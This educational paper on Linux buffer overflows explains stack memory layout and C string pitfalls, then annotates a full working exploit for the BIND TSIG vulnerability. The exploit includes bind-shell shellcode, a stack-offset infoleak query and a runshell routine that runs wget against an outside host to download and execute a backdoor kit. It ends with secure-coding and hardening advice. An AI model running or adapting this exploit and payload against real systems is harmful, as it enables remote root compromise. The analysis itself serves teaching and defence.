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Buffer Overflow in Linux
Juan G. Lalinde-Pulido

April 5, 2002

Abstract
This paper will examine the anatomy of buffer overflow attacks in Linux systems. 
We will start by considering the definition and the technical issue: memory 
handling both in Linux and C/C++ languages. With this background, general 
considerations on buffer overflow exploits are presented, followed by the 
analysis of a read exploit code. After understanding this, we present some 
conclusions about how to write safe applications and how to protect your Linux 
box.

1. Introduction
Security vulnerabilities can be traced back to three main sources: design flaws, 
misconfiguration and programming errors. Buffer overflows are programming 
errors, and they are very common. Searching by keyword "buffer overflow" on 
security focus[2], returns 50 vulnerabilities reported from January 15 until April 1 
2002. If the search is done at Common Vulnerabilities and Exposures (CVE) site 
[4], it reports that, from 1999 until April 2002, there were 799 reported 
vulnerabilities (entries and candidates) related to buffer overflow. Most of these 
buffer overflow vulnerabilities are found on windows platforms, but Linux is not 
immune. Searching CVE for buffer overflows on Linux returns 64 matches for 
the same 3 years period.
Buffer overflow being one of the most common vulnerabilities[18], it is important 
to understand exactly what it is and what we can do to avoid it. In this essay we 
will present the buffer overflow problem with some technical background for 
Linux systems, but the general idea of the buffer overflow can be applied to any 
system. In fact, one of the reasons for using open source OS, like Linux, is that 
little problems like buffer overflow can be fixed in minutes and you don't have to 
wait for a vendor's patch.

2. Buffer Overflow definition
The definition of Buffer Overflow, acording to NSA Glossary of Terms Used in 
Security and Intrusion Detection[1] is: "This happens when more data is put into 
a buffer or holding area than the buffer can handle. This is due to a mismatch in 
processing rates between the producing and consuming processes. This can 
result in system crashes or the creation of a back door leading to system 
access." Even though this definition goes further in defining what causes buffer 
overflows, this is not the way to produce a buffer overflow and certainly is a 
programming error. 
A more detailed description of the problem can be found in [3]: "Computers tend 
to think in terms of two things--code and data.  Code consists of the instructions 
for the computer, telling it what to do. Data is what it does it to and with.  When 
you run a program, it loads into memory both the code and the data that code 
needs.  When that program communicates with some other program, it is 
receiving data, and it will then use the code that it already has to figure out what 
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to do next. ... Modern computer architectures have an unfortunate design, 
however. They don't really know the difference between data and code.  If 
somebody can convince your program to try running the data that it has in 
memory, it will do so quite happily."
Technically speaking, the buffer overflow occurs when the program has a buffer 
of limited size to store data, the amount of data exceeds that limit and the 
programmer "forgets" to check the situation. In this case, the data stored in the 
buffer exceeds the capacity and overwrites the adjacent locations. The whole 
issue about buffer overflow is if the adjacent memory overwritten is important or 
not. Due to the nature of the problem, it is intimately related to the programming 
language used. Only applications developed using programming languages that 
delegate memory handling to the programmer are vulnerable to buffer overflow. 
This does not means that applications developed with languages that 
automatically handle memory are not vulnerable. This means that in those 
cases, the problem is in the tool and not in the application's code.
Buffer overflow, as a programming error, usually results in bus error or 
segmentation violation errors, but a skilled hacker can use (abuse?) this error to 
force the application to do what he wants. Usually, it is used to create a back 
door so the hacker gains access to the system or to escalate privileges.  It is a 
typical situation where a programming flaw can expose the security of the whole 
system. This is achieved by exploiting the fact that a computer can be instructed 
to execute data like code. For a buffer overflow attack to work there are two 
tasks the hacker must accomplish: inject code in the buffer and instruct the 
computer to execute it.
In order to understand the buffer overflow attacks, we must understand how the 
operating system handles memory, how do low level programming languages 
like assembler, C and C++ deal with memory and how this two elements, 
combined together can be used to break your security. Before digging more 
deeply into these issues, remember: since buffer overflow is a programming 
bug, your system may be vulnerable not only because of bugs in third party 
software but because of your own locally developed software. You can get 
advisories from CERT or your provider for the third party software. For your own 
software you must assure there are no buffer overflow errors that will risk your 
whole system.

3. Linux memory handling
The following information about Linux memory handling is taken basically from 
[5] and [6]. By combining this information with the "intentions" of a hacker, we 
will be able to understand why buffer overflow attacks are possible and how they
work.
Linux, like any decent OS, prevents two processes exchanging data from having

access to the other process’ memory. It also handles virtual memory to allow 
processes whose memory requirements exceed the physical memory available. 
One of the key concepts of memory management in Linux is that it provides an 
architecture independent memory model. This model divides memory in pages. 
The size of a page is dependent on the architecture. Each process is run in a 
virtual address space that uses linear addresses. This virtual space address is 
divided in two spaces: kernel and user segment. Each space is divided in two 
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segments: code and data/stack segment. The kernel space is from 0xC000 
0000 (3 GB) to 0xFFFF FFFF (4 GB) and the user space is from 0 (0 GB) to 
0xBFFF FFFF (3 GB). Notice that these limits apply to 32 bits architectures and 
may change for 64 bits architectures. 
Linux kernel space, shifted 3Gb down, corresponds to physical kernel space. 
This is not true for the applications. But from the programmer’s perspective, this 
distribution guaranties that the user space assigned to the application always 
starts in zero (0) and has a maximum length of 3Gb, regardless of the 
simultaneous execution of other applications. From the security perspective, this 
implies that variables' addresses are always the same for variables that have 
whole-application life cycle (global, static, class attributes, etc.). For the 
variables with shorter life cycle (local, instance attributes, etc.), this means that, 
if the execution path for calling the portion of code that creates this variables is 
always the same, the variables’ location will always be the same. This 
determinism in the address of the variables is the one that allows hackers to 
exploit buffer overflow errors.
To understand why buffer overflow attacks are possible, we must understand 
how memory is assigned to variables in applications. The segment code, as the 
name implies, holds the executable code for the application and the data/stack 
code holds the data. The role a variable plays in an application is defined by two 
characteristics: the life cycle (when it is created and when destroyed) and the 
visibility (which parts of the application have access to the variable). All variables 
that have application life cycle (are created when the application starts and exist 
as long as the application is active) are stored in the data portion of the 
data/stack segment. All other variables are stored in the stack portion of the 
data/stack segment. The stack is also used to store the parameters and return 
address when a function (method) is invoked. By combining the use of the stack 
with the fact that the stack grows backwards, it is easy to understand why the 
buffer overflow attacks are possible.
Let us suppose that a programmer forgot to check the size of the data received 
before attempting to store it in the buffer, and the buffer is declared as a local 
variable (whose life cycle is the same as the lifecycle of the function). Since the 
programmer is not checking for the buffer size, it is possible to overwrite 
adjacent memory by supplying appropriate data. A Buffer declared as a local 
variable means that the return address of the function is relatively close to the 
buffer. Finally, since the stack grows backwards, when the buffer overflow is 
forced, overwriting the adjacent memory implies the capability to overwrite the 
return address of the function. Now put it all together: The hacker can craft a 
custom "data" to send to the application that exploits the buffer overflow causing 
adjacent memory to be overwritten. This custom data includes the binary code 
to be executed (usually launching a shell) and the value that will override the 
return address so at the end of the function this fake return address, pointing to 
the code in the buffer, will be used and the hackers code will be executed. All 
this is possible because 

a) the linear address for the variables (including locals and return address) 
is always the same and 

b) b) the machine can interpret the data in the stack as code executing it.
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4. Memory handling in C and C++
Section 3 provided a clear explanation of the relationship between memory 
handling and buffer overflows. Notice that buffer overflow attacks exist as a 
consequence of the virtual address space assigned to each process. Now, let 
us take a look of memory handling in C and C++. I select these two languages 
because they are the most commonly used languages for applications that need 
low level control and must be efficient, like operating systems, device drivers 
and security tools in general. In fact, they are the most commonly used 
languages that delegate memory handling to the programmer.
The official C history written by Dennis M. Ritchie states: "As should be clear 
from the history above, C evolved from typeless languages. It did not suddenly 
appear to its earliest users and developers as an entirely new language with its 
own rules; instead we continually had to adapt existing programs as the 
language developed, and make allowance for an existing body of code."[7]. This 
means the programming language was designed to provide portability while 
keeping control of the code generated, according to the state of the art at the 
time. 
Again, according to Ritchie, "two ideas are most characteristic of C among 
languages of its class: the relationship between arrays and pointers, and the 
way in which declaration syntax mimics expression syntax. They are also among 
its most frequently criticized features, and often serve as stumbling blocks to the 
beginner. In both cases, historical accidents or mistakes have exacerbated their 
difficulty. The most important of these has been the tolerance of C compilers to 
errors in type."[7]. This puts the responsibility in the programmer's hands.
Arrays are easier to understand if we look at them from the object code 
perspective. Expressions like a[n] really mean take the base address 
represented by pointer a, add n times the size of a's type and get the content of 
that address. In C a[n] is the same as *(a+n). Since arrays are handled this 
way, there is no boundary check done by the run time environment. The 
programmer is responsible for checking it. Finally, a mistaken decision on the 
nature of the indirection operator, which is a prefix operator, makes nested 
expressions and declarations hard to understand[8]. Putting all this together, the 
programmer is not only responsible for boundary checking, but he/she also has 
to use a difficult to understand syntax while using dynamic memory.
An additional difficulty appears due to programming language design. It does 
not include the string type. It is represented as an array of characters and the 
end of the string is marked by the ASCII code 0, the null character. In order to 
standardize programs and guarantee portability, the strings library was 
developed and became part of the standard. Also, all input/output operations 
were included in the standard as libraries. The introduction of these libraries 
improved portability but introduced potential buffer overflow errors without 
programmer's knowledge.
The strings library is based on two assumptions: all parameters are valid strings 
and there is always enough memory for storing the results of the operation. If 
the parameters are not valid strings or there is not enough memory, the function 
will just ignore these conditions and you will notice the problem by its side 
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effects. Usually these are buffer overflows that generate bus error or 
segmentation fault. Again, these assumptions put the responsibility on the 
programmer's side. Furthermore, the input/output libraries trust the strings 
library, so a simple reading function like gets can generate a buffer overflow 
making your system vulnerable.
C++, as programming language, is based on C and inherits these problems. 
Fortunately, with the inclusion of templates and STL in the standard, the 
programmer now has a powerful way to handle containers without worrying 
about memory management. The most amazing thing is that using allocators 
the programmer still has a powerful way to define memory management 
strategies. C++ also includes improvements as references, constants and 
sophisticated casting, that give the programmer a way to specify the real 
semantic of the program.
On the negative side, being an object oriented language, C++ also defines new 
variables types like instance and method attributes. Since the language does 
not provide any support for garbage collection and memory handling, there are 
new things programmers must be aware of to avoid memory leaks and buffer 
overflows. Again, programmers are responsible for memory management. STL 
solves part of the problem: It is a library and the developer is responsible for 
checking boundary limits and memory problems.
We can conclude that C and C++ are excellent languages that provide the 
programmer with powerful mechanisms for software development. The 
drawback is that the programmer must have a deep knowledge about the 
language in order to avoid programming problems due to misconceptions. 

5. General considerations on buffer overflow exploits
Buffer overflow attacks depend on two things: the lack of boundary testing and a 
machine that can execute code that resides in the data/stack segment. The lack 
of boundary is very common and usually the program ends with segmentation 
fault or bus error. In order to exploit buffer overflow to gain access or escalate 
privileges the offender must create the data to be fed to the application. Random 
data will generate a segmentation fault or bus error, never a remote shell or the 
execution of a command.
Why are buffer overflows important? If the offender uses a buffer overflow to 
execute arbitrary commands on a machine, those commands are executing with 
the same privileges the application has. If the buffer overflow is located in the 
input/output routines of a daemon, the offender can use telnet to establish 
connection and then send the data. Let us suppose the owner of the process is 
root and the exploit executes a shell. In this case the shell inherits the privileges 
of the original process, which means it becomes a root shell. Also, the process 
executed this way inherits file descriptors, which means that the offender 
obtains a remote shell with root privileges.
The most difficult part of the buffer overflow attack is ensuring the data that 
overwrites the return address in the stack really points to the memory address 
where the arbitrary code resides. This can be done, at least in Linux, because 
the system assigns a virtual memory space to each process and the addresses 
assigned to the application are always the same no matter what the machine is 
doing. 
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There are two interesting ways to detect buffer overflows. The fist one is looking 
at the source code. In this case, the hacker can look for strings declared as local
variables in functions or methods and verify the presence of boundary checks. It 
is also necessary to check for improper use of standard functions, especially 
those related to strings and input/output. The best way to do this is by using 
tools to automate the process. The second way is by feeding the application 
with huge amounts of data and check for abnormal behavior. As usual, if 
hackers can detect buffer overflows this way, we also can too. Furthermore, if 
we develop software, this type of testing must be included in quality checks.

6. Analysis of a buffer overflow exploit
In order to understand how buffer overflow exploits work in real life, let us 
analyze the following exploit for TSIG bug in bind versions previous to 8.2.5[9]. 
The key name for this vulnerability is in the Common Vulnerabilities and 
Exposures[10] database is CVE-2001-0010. In order to guess the stack offset, 
this code also exploits the vulnerability "infoleak" which exposes environmental 
variables by allowing the stack to be read when receiving an inverse query with 
a specific length[11].

This first section includes all headers needed to send packages through the 
network.
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <ctype.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>

#define max(a,b) ((a)>(b)?(a):(b))

#define BUFFSIZE 4096

int argevdisp1, argevdisp2;

Next is the actual data to be sent to the target. It is a char array that actually 
contains code. This string will be fed to the target application, in this case bind 
8.x, and, if vulnerable, the target will be forced to execute it. It is common to see 
lots of 0x90 in these buffers because this is the code for the NOP instruction. It 
is used frequently as filler and can be used as a triggering pattern for intrusion 
detection systems, but this example shows that this is not always the case; it 
only appears once at the end of code. The assembler code creates a socket, 
binds it to a port and puts it in listen mode to accept incoming connections. The 
program then tries to connect to this port. If bind is vulnerable, the target 
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machine accepts the connection and then redefines standard input and output 
to be this connection. Finally, it allows the hacker to access the system by 
executing sh. The standard input and output are redefined to guarantee that 
using execve, /bin/sh will overlap the original application and will have the 
standard input and output connected to the socket giving the hacker a remote 
shell.

char shellcode[] =
/* The numbers at the right indicate the number of bytes the call takes
* and the number of bytes used so far.  This needs to be lower than
* 62 in order to fit in a single Query Record.  2 are used in total to
* send the shell code
*/
/* main: */
/* "callz" is more than 127 bytes away, so we jump to an intermediate

spot first */
"\xeb\x44"              /* jmp intr                */ // 2 - 2
/* start: */
"\x5e"                  /* popl %esi               */ // 1 - 3

/* socket() */
"\x29\xc0"              /* subl %eax, %eax         */ // 2 - 5
"\x89\x46\x10"          /* movl %eax, 0x10(%esi)   */ // 3 - 8
"\x40"                  /* incl %eax               */ // 1 - 9
"\x89\xc3"              /* movl %eax, %ebx         */ // 2 - 11
"\x89\x46\x0c"          /* movl %eax, 0x0c(%esi)   */ // 3 - 14
"\x40"                  /* incl %eax               */ // 1 - 15
"\x89\x46\x08"          /* movl %eax, 0x08(%esi)   */ // 3 - 18
"\x8d\x4e\x08"          /* leal 0x08(%esi), %ecx   */ // 3 - 21
"\xb0\x66"              /* movb $0x66, %al         */ // 2 - 23
"\xcd\x80"              /* int $0x80               */ // 2 - 25

/* bind() */
"\x43"                  /* incl %ebx               */ // 1 - 26
"\xc6\x46\x10\x10"      /* movb $0x10, 0x10(%esi)  */ // 4 - 30
"\x66\x89\x5e\x14"      /* movw %bx, 0x14(%esi)    */ // 4 - 34
"\x88\x46\x08"          /* movb %al, 0x08(%esi)    */ // 3 - 37
"\x29\xc0"              /* subl %eax, %eax         */ // 2 - 39
"\x89\xc2"              /* movl %eax, %edx         */ // 2 - 41
"\x89\x46\x18"          /* movl %eax, 0x18(%esi)   */ // 3 - 44
/*
* the port address in hex (0x9000 = 36864), if this is changed, then a similar
* change must be made in the connection() call
* NOTE: you only get to set the high byte
*/
"\xb0\x90"              /* movb $0x90, %al         */ // 2 - 46
"\x66\x89\x46\x16"      /* movw %ax, 0x16(%esi)    */ // 4 - 50
"\x8d\x4e\x14"          /* leal 0x14(%esi), %ecx   */ // 3 - 53
"\x89\x4e\x0c"          /* movl %ecx, 0x0c(%esi)   */ // 3 - 56
"\x8d\x4e\x08"          /* leal 0x08(%esi), %ecx   */ // 3 - 59

"\xeb\x02"              /* jmp cont                */ // 2 - 2
/* intr: */
"\xeb\x43"              /* jmp callz               */ // 2 - 4

/* cont: */
"\xb0\x66"              /* movb $0x66, %al         */ // 2 - 6
"\xcd\x80"              /* int $0x80               */ // 2 - 10

/* listen() */
"\x89\x5e\x0c"          /* movl %ebx, 0x0c(%esi)   */ // 3 - 11
"\x43"                  /* incl %ebx               */ // 1 - 12
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"\x43"                  /* incl %ebx               */ // 1 - 13
"\xb0\x66"              /* movb $0x66, %al         */ // 2 - 15
"\xcd\x80"              /* int $0x80               */ // 2 - 17

/* accept() */
"\x89\x56\x0c"          /* movl %edx, 0x0c(%esi)   */ // 3 - 20
"\x89\x56\x10"          /* movl %edx, 0x10(%esi)   */ // 3 - 23
"\xb0\x66"              /* movb $0x66, %al         */ // 2 - 25
"\x43"                  /* incl %ebx               */ // 1 - 26
"\xcd\x80"              /* int $0x80               */ // 1 - 27

/* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
"\x86\xc3"              /* xchgb %al, %bl          */ // 2 - 29
"\xb0\x3f"              /* movb $0x3f, %al         */ // 2 - 31
"\x29\xc9"              /* subl %ecx, %ecx         */ // 2 - 33
"\xcd\x80"              /* int $0x80               */ // 2 - 35
"\xb0\x3f"              /* movb $0x3f, %al         */ // 2 - 37
"\x41"                  /* incl %ecx               */ // 1 - 38
"\xcd\x80"              /* int $0x80               */ // 2 - 40
"\xb0\x3f"              /* movb $0x3f, %al         */ // 2 - 42
"\x41"                  /* incl %ecx               */ // 1 - 43
"\xcd\x80"              /* int $0x80               */ // 2 - 45

/* execve() */
"\x88\x56\x07"          /* movb %dl, 0x07(%esi)    */ // 3 - 48
"\x89\x76\x0c"          /* movl %esi, 0x0c(%esi)   */ // 3 - 51
"\x87\xf3"              /* xchgl %esi, %ebx        */ // 2 - 53
"\x8d\x4b\x0c"          /* leal 0x0c(%ebx), %ecx   */ // 3 - 56
"\xb0\x0b"              /* movb $0x0b, %al         */ // 2 - 58
"\xcd\x80"              /* int $0x80               */ // 2 - 60

"\x90"

/* callz: */
"\xe8\x72\xff\xff\xff"  /* call start              */ // 5 - 5
"/bin/sh"; /* There's a NUL at the end here */        // 8 - 13

The next instructions resolve the host name, allowing the target to be specified 
by name or IP address.

unsigned long resolve_host(char* host)
{

long res;
struct hostent* he;

if (0 > (res = inet_addr(host)))
{

if (!(he = gethostbyname(host)))
return(0);

res = *(unsigned long*)he->h_addr;
}
return(res);

}

This function dumps the content of the buffer in hexadecimal to standard output, 
maybe for debugging purposes.

int dumpbuf(char *buff, int len)
{

char line[17];
int x;
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/* print out a pretty hex dump */
for(x=0;x<len;x++){

if(!(x%16) && x){
line[16] = 0;
printf("\t%s\n", line);

}
printf("%02X ", (unsigned char)buff[x]);
if(isprint((unsigned char)buff[x]))

line[x%16]=buff[x];
else

line[x%16]='.';
}
printf("\n");

}

After successfully establishing the connection, this function is used to create a 
back door by downloading and executing software from a web server. It allows 
the attacker to use an interactive shell also.

void
runshell(int sockd)
{

char buff[1024];
int fmax, ret;
fd_set fds;

fmax = max(fileno(stdin), sockd) + 1;
send(sockd, "uname -a; id; wget takiweb.com/~xlogic/xl.tgz; tar zxvf"

" xl.tgz; cd xl; ./statz;\n", 15, 0);

 for(;;)
{

FD_ZERO(&fds);
FD_SET(fileno(stdin), &fds);
FD_SET(sockd, &fds);

if(select(fmax, &fds, NULL, NULL, NULL) < 0)
 {

exit(EXIT_FAILURE);
 }

if(FD_ISSET(sockd, &fds))
{

bzero(buff, sizeof buff);
if((ret = recv(sockd, buff, sizeof buff, 0)) < 0)
 {

exit(EXIT_FAILURE);
 }
if(!ret)
{

fprintf(stderr, "Connection closed\n");
 exit(EXIT_FAILURE);

 }
write(fileno(stdout), buff, ret);

}

if(FD_ISSET(fileno(stdin), &fds))
{

bzero(buff, sizeof buff);
ret = read(fileno(stdin), buff, sizeof buff);
if(send(sockd, buff, ret, 0) != ret)
{
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fprintf(stderr, "Transmission loss\n");
 exit(EXIT_FAILURE);

 }
}

}
}

After the first query succeeds in revealing the offset of the stack, a connection is 
attempted. If successful, the runshell function is used for creating backdoors 
and taking control of the machine. The port number used here must be the 
same as the port used in the exploit code for the buffer overflow.

connection(struct sockaddr_in host)
{

int sockd;

host.sin_port = htons(36864);

printf("[*] connecting..\n");
usleep(2000);

if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{

exit(EXIT_FAILURE);
}

if(connect(sockd, (struct sockaddr *) &host, sizeof host) != -1)
{

printf("[*] wait for your shell..\n");
usleep(500);
runshell(sockd);

}
else
{

printf("[x] error: named not vulnerable or wrong offsets used\n");
}

close(sockd);
}

This function will create the DNS query that will be used to check if bind is 
running and vulnerable. This query has an "evil size" to obtain the stack offset. 
That is the reason for the name of the function. In order to be able to read the 
stack, the offender sends a message that is valid but has a wrong size. When 
bind receives a query, the response package is constructed using the same 
buffer[23]. By doing this, memory copy is avoided and performance is increased. 
The problem with trusting the size in the received package is, if it is wrong, the 
response package will contain not only the answer to the query but data from 
the stack.

int infoleak_qry(char* buff)
{

HEADER* hdr;
int n, k;
char* ptr;
int qry_space = 12;
int dummy_names = 7;
int evil_size = 0xff;
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memset(buff, 0, BUFFSIZE);
hdr = (HEADER*)buff;

hdr->id = htons(0xbeef);
 hdr->opcode  = IQUERY;
 hdr->rd      = 1;
hdr->ra      = 1;
hdr->qdcount = htons(0);
hdr->nscount = htons(0);
hdr->ancount = htons(1);
hdr->arcount = htons(0);

ptr = buff + sizeof(HEADER);
printf("[d] HEADER is %d long\n", sizeof(HEADER));

n = 62;

for(k=0; k < dummy_names; k++)
{

*ptr++ = n;
ptr += n;

}
ptr += 1;

PUTSHORT(1/*ns_t_a*/, ptr);              /* type */
PUTSHORT(T_A, ptr);                      /* class */
PUTLONG(1, ptr);                /* ttl */

PUTSHORT(evil_size, ptr); /* our *evil* size */

return(ptr - buff + qry_space);

}

This code is responsible for building the TSIG query and exploiting the buffer 
overflow. It creates a bogus query with the injected shell code. It also uses the 
stack offset in order to overwrite the return address and exploit the buffer 
overflow. The value to be used is computed using the parameter offset and the 
position of the exploit code in the package.

int evil_query(char* buff, int offset)
{

int lameaddr, shelladdr, rroffsetidx, rrshellidx, deplshellcode, offset0;
HEADER* hdr;
char *ptr;
int k, bufflen;
u_int n, m;
u_short s;
int i;
int shelloff, shellstarted, shelldone;
int towrite, ourpack;
int n_dummy_rrs = 7;

printf("[d] evil_query(buff, %08x)\n", offset);
printf("[d] shellcode is %d long\n", sizeof(shellcode));

shelladdr = offset - 0x200;

lameaddr  = shelladdr + 0x300;

ourpack = offset - 0x250 + 2;
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towrite = (offset & ~0xff) - ourpack - 6;
printf("[d] olb = %d\n", (unsigned char) (offset & 0xff));

rroffsetidx = towrite / 70;
offset0 = towrite - rroffsetidx * 70;

if ((offset0 > 52) || (rroffsetidx > 6))
{

printf("[x] could not write our data in buffer"
"(offset0=%d, rroffsetidx=%d)\n", offset0, rroffsetidx);

return(-1);
}

rrshellidx = 1;
deplshellcode = 2;

hdr = (HEADER*)buff;

memset(buff, 0, BUFFSIZE);

/* complete the header */

hdr->id = htons(0xdead);
hdr->opcode  = QUERY;
hdr->rd      = 1;
hdr->ra      = 1;
hdr->qdcount = htons(n_dummy_rrs);
hdr->ancount = htons(0);
hdr->arcount = htons(1);

ptr = buff + sizeof(HEADER);

shellstarted = 0;
shelldone = 0;
shelloff = 0;

n = 63;
for (k = 0; k < n_dummy_rrs; k++)
{

*ptr++ = (char)n;

for(i = 0; i < n-2; i++)
{

if((k == rrshellidx) && (i == deplshellcode) 
&& !shellstarted)

{
printf("[*] injecting shellcode at %d\n", k);
shellstarted = 1;

}

if ((k == rroffsetidx) && (i == offset0))
{

*ptr++ = lameaddr & 0x000000ff;
*ptr++ = (lameaddr & 0x0000ff00) >> 8;
*ptr++ = (lameaddr & 0x00ff0000) >> 16;
*ptr++ = (lameaddr & 0xff000000) >> 24;
*ptr++ = shelladdr & 0x000000ff;
*ptr++ = (shelladdr & 0x0000ff00) >> 8;
*ptr++ = (shelladdr & 0x00ff0000) >> 16;
*ptr++ = (shelladdr & 0xff000000) >> 24;
*ptr++ = argevdisp1 & 0x000000ff;
*ptr++ = (argevdisp1 & 0x0000ff00) >> 8;
*ptr++ = (argevdisp1 & 0x00ff0000) >> 16;
*ptr++ = (argevdisp1 & 0xff000000) >> 24;
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*ptr++ = argevdisp2 & 0x000000ff;
*ptr++ = (argevdisp2 & 0x0000ff00) >> 8;
*ptr++ = (argevdisp2 & 0x00ff0000) >> 16;
*ptr++ = (argevdisp2 & 0xff000000) >> 24;
i += 15;

}
else
{

if (shellstarted && !shelldone)
{

*ptr++ = shellcode[shelloff++];
if(shelloff == (sizeof(shellcode)))

shelldone=1;
}
else
{

*ptr++ = i;
}

}
}

/* OK: this next set of bytes constitutes the end of the
*     NAME field, the QTYPE field, and the QCLASS field.
*     We have to have the shellcode skip over these bytes,
*     as well as the leading 0x3f (63) byte for the next
*     NAME field.  We do that by putting a jmp instruction
*     here.
*/

*ptr++ = 0xeb;

if (k == 0)
{

*ptr++ = 10;

/* For alignment reasons, we need to stick an extra
* NAME segment in here, of length 3 (2 + header).
*/

m = 2;
*ptr++ = (char)m;        // header
ptr += 2;

}
else
{

*ptr++ = 0x07;
}

/* End the NAME with a compressed pointer.  Note that it's
* not clear that the value used, C0 00, is legal (it
* points to the beginning of the packet), but BIND apparently
* treats such things as name terminators, anyway.
*/

*ptr++ = 0xc0; /*NS_CMPRSFLGS*/
*ptr++ = 0x00; /*NS_CMPRSFLGS*/

ptr += 4;      /* QTYPE, QCLASS */
}

/* Now we make the TSIG AR */
*ptr++ = 0x00;       /* Empty name */

PUTSHORT(0xfa, ptr); /* Type  TSIG */
PUTSHORT(0xff, ptr); /* Class ANY  */

bufflen = ptr - buff;
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// dumpbuf(buff, bufflen);

return(bufflen);
}

This is the code that analyzes the answer to the first query sent (infoleak exploit) 
in order to get the stack offset. 

long xtract_offset(char* buff, int len)
{

long ret;

/* Here be dragons. */
/* (But seriously, the values here depend on compilation options

*  used for BIND.
*/

ret = *((long*)&buff[0x214]);
argevdisp1 = 0x080d7cd0;
argevdisp2 = *((long*)&buff[0x264]);
printf("[d] argevdisp1 = %08x, argevdisp2 = %08x\n",

argevdisp1, argevdisp2);

// dumpbuf(buff, len);

return(ret);
}

This is the main program. The exploit must be run with one parameter: the target 
host.

int main(int argc, char* argv[])
{

struct sockaddr_in sa;
int sock;
long address;
char buff[BUFFSIZE];
int len, i;
long offset;
socklen_t reclen;
unsigned char foo[4];

address = 0;
if (argc < 2)
{

printf("[*] usage : %s host\n", argv[0]);

return(-1);
}

With a target specified, it tries to get the IP address. If unable to resolve it, prints 
an error message, suggests using IP address and quit.

if (!(address = resolve_host(argv[1])))
{

printf("[x] unable to resolve %s, try using an IP address\n", 
argv[1]);

return(-1);
} else {

memcpy(foo, &address, 4);
printf("[*] attacking %s (%d.%d.%d.%d)\n", argv[1], foo[0],
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foo[1], foo[2], foo[3]);
}

Create an UDP socket to send the code to a potentially vulnerable server. 

sa.sin_family = AF_INET;

if (0 > (sock = socket(sa.sin_family, SOCK_DGRAM, 0)))
{

return(-1);
}

sa.sin_family = AF_INET;
sa.sin_port = htons(53);
sa.sin_addr.s_addr= address;

Send the first query to bind and wait for answer. If successful, there is 
information about the stack offset in the reply.

len = infoleak_qry(buff);
printf("[d] infoleak_qry was %d long\n", len);
len = sendto(sock, buff, len, 0 , (struct sockaddr *)&sa, sizeof(sa));
if (len < 0)
{

printf("[*] unable to send iquery\n");
return(-1);

}

reclen = sizeof(sa);
len = recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&sa, &reclen);
if (len < 0)
{

printf("[x] unable to receive iquery answer\n");
return(-1);

}
printf("[*] iquery resp len = %d\n", len);

Use the information in the reply to extract the stack offset.

offset = xtract_offset(buff, len);
printf("[*] retrieved stack offset = %x\n", offset);

Now create the query with the buffer overflow exploit and send it. This is the 
package that has the assembler code used to gain access.

len = evil_query(buff, offset);
if(len < 0){

printf("[x] error sending tsig packet\n");
return(0);

}

sendto(sock, buff, len, 0 , (struct sockaddr *)&sa, sizeof(sa));

if (0 > close(sock))
{

return(-1);
}

If sending was successful, try to establish a connection to the target host to gain 
access.



©
 S

A
N

S 
In

st
itu

te
 2

00
0 

- 2
00

   
   

   
   

   
   

   
   

   
   

   
   

   
   

   
   

5,
 A

ut
ho

r r
et

ai
ns

 fu
ll 

ri
gh

ts
.

 
 
 
 
 
 
 
 
 
 
 
 
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 
 

© SANS Institute 2000 - 2005                                                                                                                 Author retains full rights.

connection(sa);

return(0);
}

This exploit works as expected because of the buffer overflow vulnerability in 
Bind. This example was selected to show that all the information needed to 
exploit a buffer overflow vulnerability, in order to gain access to the system or to 
escalate privileges, are the stack offset and buffer position. In many cases, the 
stack offset is fixed due to memory handling on Linux. There are few exceptions, 
like this one where the flaw is so huge that the attacker can get the offset by 
sending a bogus package. 

7. How to write safe applications
Now that we know what a buffer overflow is, how it is related to the OS (Linux in 
this case) and how it works, it is time to think about software development. 
Keep in mind that buffer overflow can occur in your own applications. This 
means that in order to improve your security you must have standards and 
processes for quality assurance. One good recommendation is to use SSE-
CMM (Secure Systems Engineer Capacity Maturity Model) as reference[12].
From the programming language perspective, the programmer’s knowledge is 
central. One of the main differences between Java and C++ is the responsibility 
the programmer has. "Java technology was created as a programming tool in a 
small, closed-door project initiated by Patrick Naughton, Mike Sheridan, and 
James Gosling of Sun in 1991. But creating a new language wasn't even the 
point of the Green Project."[13] In fact, the objective of the green project was to 
experiment with what they think will be the new wave of technology: the 
integration between digital controlled consumer devices and computers[14]. 
We are comparing C++ with Java because patching embedded systems is 
more expensive than patching computer applications. To avoid this, Java 
designers take a subset of C++, eliminating the powerful capabilities that can 
make programming a tough experience for non experts: memory handling, 
multiple inheritance, pointers, etc. When developing software using C or C++, 
the programmer must pay special attention to memory handling, pointers and 
strings. Some general recommendations are:

• Know the programming language. Use this knowledge to define what the 
language provides and what your responsibility is.

• When possible, avoid declaring buffers as local variables.
• Always do boundary checking.
• Whenever possible, use trusted libraries, like STL, to handle containers.
• Always check parameters before using a function and check the result.
• Subscribe to news groups oriented to the programming language you are 

using.
• Before using libraries, check how safe they are.
• Whenever possible, use automated tools for automated error prevention, 

like C++test, Insure++, CodeWizard[15] or Purify[16].

8. How to avoid buffer overflow vulnerabilities in Linux
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Complete security is a utopia, but there are a few things that can be done to 
diminish the risk. The first thing is to adopt the general accepted practices for 
protecting your Linux box. This includes perimeter protection to block illegal 
traffic like ipchains and iptables, installing an intrusion detection system, like 
snort[18], installing tripwire, using tcpwrappers, installing the latest patches, etc. 
It is important also to "attack" your system on regular basis in order to discover 
any vulnerability before it is exploted. For this task you can use tools like nessus
[20] or the CIS Level-1 Benchmark and scoring tool for Linux[21].  You must also 
monitor security news groups and web sites like http://www.sans.org, 
http://www.incidents.org, http://www.securityfocus.com, etc. One great tool for 
been up to date on security news is the Sans News Browser Service[22].
One final comment: If tighter security is needed, you can buy tools like stack 
guard and port guard[17]. Stack guard is a modification to the C compiler to 
include code automatically to verify if the stack is compromised by an overflow.  
Port guardian is a special version of glibc that verifies parameter format for 
